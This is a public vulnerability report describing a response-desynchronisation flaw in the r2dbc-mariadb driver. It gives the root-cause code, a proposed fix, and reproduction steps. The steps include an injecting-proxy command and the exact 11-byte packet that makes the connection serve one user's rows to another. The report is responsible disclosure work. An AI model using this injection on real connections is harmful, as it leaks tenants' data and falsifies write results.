HexBrain

MariaDB · Report #3920629

r2dbc-mariadb: server message accepted with no command in flight desynchronises the connection and serves one user's rows to another

Validstatus
mediumseverity
3upvotes
4 Nov 2026disclosed

How it was found

r2dbc-mariadb accepts a server packet that arrives while the client has no command outstanding, buffers it, and hands it to the next unrelated statement. Nothing correlates a response with the request it is delivered to, and the driver reads the protocol's sequence id without ever validating it. One injected packet permanently desynchronises the connection: every subsequent statement receives the previous statement's response. On a pooled connection that means one application user is served another user's rows, and a write that matched no rows is reported as having matched one.

The precondition, stated plainly up front: the attacker must be able to inject bytes into the client/server TCP stream. That means an on-path attacker, a malicious or compromised server, or a compromised proxy such as MaxScale or ProxySQL. The driver's default sslMode is DISABLE, so no TLS has to be defeated in the default configuration.

Confirmed against the unmodified Maven Central artifact org.mariadb:r2dbc-mariadb:1.4.1 (sha256 a2733d2496ea9bc7aa85498306b175fcae2c423cf15bb7aad1d64d201e104732) and a stock mariadb:11.4 image, with all driver options at their defaults. 9 of 10 consecutive requests received another user's secret. A negative control and two fix controls are included.

Root cause

In the MariaDB and MySQL client/server protocol the server never speaks unprompted. Every packet it sends belongs to a command the client issued. ServerMessageSubscriber in src/main/java/org/mariadb/r2dbc/client/SimpleClient.java is the component responsible for matching an inbound message to the command that asked for it, and it never enforces that rule.

onNext (SimpleClient.java:783) looks up the pending command, and when there is none it falls through into the buffering branch:

      this.receiverDemands.decrementAndGet();
      Exchange exchange = this.exchangeQueue.peek();

      // nothing buffered => directly emit message
      ReferenceCountUtil.retain(message);
      if (this.receiverQueue.isEmpty()
          && exchange != null
          && (exchange.hasDemand() || exchange.isCancelled())) {
        if (exchange.emit(message)) this.exchangeQueue.poll();
        ...
        return;
      }

      // queue message
      if (!this.receiverQueue.offer(message)) {

exchange == null means the exchange queue is empty, that is, the client has no command in flight at all. That is not a backpressure condition, it is a protocol violation. The exchange != null test only steers the message away from the fast path and into receiverQueue at line 805, where it waits.

tryDrainQueue (SimpleClient.java:829) then pairs the head of the message queue with the head of the exchange queue positionally:

          while (!this.receiverQueue.isEmpty()) {
            if ((exchange = this.exchangeQueue.peek()) == null
                || (!exchange.hasDemand() && !exchange.isCancelled())) return;
            if ((srvMsg = this.receiverQueue.poll()) == null) return;
            if (exchange.emit(srvMsg)) this.exchangeQueue.poll();
          }

There is no correlation of any kind. When the application issues its next statement, onRequest (SimpleClient.java:816) calls tryDrainQueue and the stale packet is emitted to the new Exchange. The injected OK packet reports ending(), so that statement completes having consumed a packet the server sent before the statement existed. Its real response then arrives with the exchange queue empty again, is parked in turn, and is served to the following statement. The shift is self-sustaining and lasts for the life of the connection.

MariadbFrameDecoder.java:112-114 makes the same positional assumption one layer down, selecting the decode state from exchangeQueue.peek() and defaulting to QUERY_RESPONSE when the queue is empty, which is why the unsolicited packet is parsed as an ordinary query response instead of being rejected.

Why this is a driver defect, not "the protocol assumes a well-behaved server"

The MariaDB protocol carries a sequence id in every packet header specifically so that each side can detect lost, reordered or injected packets. The driver reads that byte and throws it away. MariadbFrameDecoder.decode (MariadbFrameDecoder.java:110-111) constructs a fresh sequencer from whatever the server sent:

  private ServerMessage decode(ByteBuf packet) {
    Sequencer sequencer = new Sequencer(packet.readByte());

and Sequencer (src/main/java/org/mariadb/r2dbc/message/server/Sequencer.java) has no validation at all:

public class Sequencer implements MessageSequence {
  private byte sequenceId;

  public Sequencer(byte sequenceId) {
    this.sequenceId = sequenceId;
  }

  public void reset() {
    sequenceId = (byte) 0xff;
  }

  public byte next() {
    return ++sequenceId;
  }
}

next() exists only to number outgoing packets. Nothing ever compares a received sequence id against an expected value, which is why the injected packet is accepted with an arbitrary sequence byte. The protocol's own anti-desynchronisation mechanism is present on the wire and unused by this driver.

Steps to reproduce

  1. Start a stock server, no configuration changes:
docker run -d --name r2dbc_track_default -e MARIADB_ROOT_PASSWORD=Pw123456 -p 3308:3306 mariadb:11.4
  1. Seed ten tenants (poc/seed.sql):
CREATE DATABASE IF NOT EXISTS db_a;
USE db_a;
CREATE TABLE tenants(owner VARCHAR(16), secret VARCHAR(32));
INSERT INTO tenants VALUES
('user1','USER1_SECRET'),('user2','USER2_SECRET'),('user3','USER3_SECRET'),('user4','USER4_SECRET'),
('user5','USER5_SECRET'),('user6','USER6_SECRET'),('user7','USER7_SECRET'),('user8','USER8_SECRET'),
('user9','USER9_SECRET'),('user10','USER10_SECRET');
  1. Start the on-path attacker (poc/inject_proxy2.py). It forwards every byte untouched. It is not told when to fire and does not inspect the traffic for any marker: it waits until the link has been idle for 300 ms, which means no command can be in flight, and then sends one 11-byte packet.
python3 poc/inject_proxy2.py 3309 3308 inject 300 3

The injected packet is a minimal OK packet:

07 00 00 01 00 00 00 02 00 00 00
length=7 | seq=1 | OK header 00 | affected_rows 0 | last_insert_id 0 | status 0x0002 | warnings 0
  1. Run the application (poc/SubmissionPoc.java) against the proxy using the unmodified released driver. It opens one connection, does three warmup queries, pauses, then serves ten end users in turn, each asking only for its own row, and finally issues an UPDATE that matches no rows.
java -cp r2dbc-mariadb-1.4.1.jar:<deps>:. -Dport=3309 SubmissionPoc
  1. Observed with the attacker active:
  request  1  app asked for user1  expected USER1_SECRET   got <NO ROWS>      EMPTY
  request  2  app asked for user2  expected USER2_SECRET   got USER1_SECRET   *** WRONG USER'S DATA ***
  request  3  app asked for user3  expected USER3_SECRET   got USER2_SECRET   *** WRONG USER'S DATA ***
  request  4  app asked for user4  expected USER4_SECRET   got USER3_SECRET   *** WRONG USER'S DATA ***
  request  5  app asked for user5  expected USER5_SECRET   got USER4_SECRET   *** WRONG USER'S DATA ***
  request  6  app asked for user6  expected USER6_SECRET   got USER5_SECRET   *** WRONG USER'S DATA ***
  request  7  app asked for user7  expected USER7_SECRET   got USER6_SECRET   *** WRONG USER'S DATA ***
  request  8  app asked for user8  expected USER8_SECRET   got USER7_SECRET   *** WRONG USER'S DATA ***
  request  9  app asked for user9  expected USER9_SECRET   got USER8_SECRET   *** WRONG USER'S DATA ***
  request 10  app asked for user10 expected USER10_SECRET  got USER9_SECRET   *** WRONG USER'S DATA ***
  UPDATE matching 0 rows reported rowsUpdated = 1   *** WRITE RESULT MIS-REPORTED ***

  queries that received another user's data : 9
  queries that received no rows             : 1

[attacker] link idle 326ms after 5 client packets -> injected 1 OK packet

Nine of ten consecutive requests received a different user's secret, and every request completed without any error surfacing through the R2DBC API.

  1. Negative control. Rerun steps 3 and 4 with the proxy in noinject mode, so the identical proxy is still in the path but sends nothing of its own:
  request  1  app asked for user1  expected USER1_SECRET   got USER1_SECRET   ok
  ...
  request 10  app asked for user10 expected USER10_SECRET  got USER10_SECRET  ok
  UPDATE matching 0 rows reported rowsUpdated = 0   ok
RESULT: no impact - every request received its own row
  1. Fix control. Treat a message arriving with no command outstanding as a protocol error, at the top of onNext:
      Exchange exchange = this.exchangeQueue.peek();

      if (exchange == null) {
        onError(
            new R2dbcNonTransientResourceException(
                "unexpected: server message received while no command was in flight", "08000"));
        return;
      }

Recompile that single class from the 1.4.1 source tree, prepend it to the classpath, and repeat. With the attack the connection now fails closed and the application receives an error instead of another user's data:

--- FIX CONTROL A     patched driver, SAME attack attempted
io.r2dbc.spi.R2dbcNonTransientResourceException: The connection is closed. Unable to send anything
[attacker] link idle 301ms after 5 client packets -> injected 1 OK packet

--- FIX CONTROL B     patched driver, no injection (normal operation intact)
  request  1  app asked for user1  expected USER1_SECRET   got USER1_SECRET   ok
  ...
  UPDATE matching 0 rows reported rowsUpdated = 0   ok
RESULT: no impact - every request received its own row

The full transcript of all four scenarios is in poc/poc_evidence.txt.

Affected versions and suggested fix

org.mariadb:r2dbc-mariadb through 1.4.1. The dispatch code is byte-identical on master (a82d265) and on the current unreleased develop head (234419d), so the pending work for the next release does not address it.

Reject in onNext when exchangeQueue.peek() is null, as in the fix control above. Validating the received sequence id against the expected value would close the class more thoroughly, since it would also catch reordering and truncation rather than only the empty-queue case.

This is a client library with no MariaDB-operated instance, so no production confirmation is possible and none is claimed. All testing was local, against Docker on loopback and a local TCP proxy. No MariaDB-operated system was contacted. All poc/... paths above are inside the attached mariadb_r2dbc_response_confusion_poc_by_fg0x0.zip. The patched class used for the fix controls is at poc/fixsrc/org/mariadb/r2dbc/client/SimpleClient.java.

Impact

A single injected packet permanently desynchronises request and response on the connection. Because applications use this driver through a connection pool, consecutive statements on one connection belong to different end users and different requests, so the driver hands user B the rows it fetched for user A. The application cannot detect this: every query completes normally and the R2DBC API reports no error. Any result used for an ownership check, a tenant scope or an authorization decision therefore becomes attacker-influenced without a single byte of SQL being modified.

Integrity is affected as well as confidentiality. In the run above an UPDATE that genuinely matched zero rows reported one row updated, because it consumed a different statement's response. The same negative control reports zero. An application that branches on an affected-row count, which is the normal way to implement optimistic concurrency or "did this write land", is given a false answer.

The condition is not self-correcting. It persists for the life of the connection, so an application-level retry on the same pooled connection reads shifted results too. Recovery requires closing the connection, and nothing tells the application it needs to.

Honest scoping of the attacker position. Injecting into the stream generally also means being able to read it, so on a plaintext link the attacker is not learning something they could not already see. The harm being reported is what the driver then causes the application to do: deliver one user's data to another user, and mis-report writes, persistently and undetectably. That is a cross-tenant disclosure inside the application, caused by the attacker, and it is not prevented by anything the application can reasonably do. Setting sslMode to VERIFY_FULL defeats the pure on-path variant, but not a malicious or compromised server, and not a proxy that terminates TLS. No authentication, no user interaction and no non-default driver option is required.

This is the same client-versus-hostile-server trust boundary as the two issues already fixed in 1.4.1 on this connector, CVE-2026-55859 and CVE-2026-55860.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original